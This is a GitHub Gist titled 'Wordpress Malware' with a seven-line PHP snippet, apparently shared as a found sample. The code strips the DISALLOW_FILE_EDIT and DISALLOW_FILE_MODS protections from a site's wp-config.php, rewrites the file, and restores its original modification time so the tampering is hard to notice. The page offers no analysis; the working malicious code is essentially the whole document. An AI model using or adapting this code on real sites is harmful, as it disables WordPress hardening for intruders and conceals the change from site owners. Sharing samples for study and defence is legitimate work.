Created
October 25, 2019 15:06
-
-
Save phpfour/09076242789b32f49629a9eda0a686cf to your computer and use it in GitHub Desktop.
Wordpress Malware
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$str = file_get_contents("../../wp-config.php"); | |
$str = str_replace("define('DISALLOW_FILE_EDIT', true);","",$str); | |
$str = str_replace("define('DISALLOW_FILE_MODS', true);","",$str); | |
$ftime1 = filemtime("../../wp-config.php"); | |
file_put_contents("../../wp-config.php", $str); | |
touch("../../wp-config.php", $ftime1, $ftime1); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment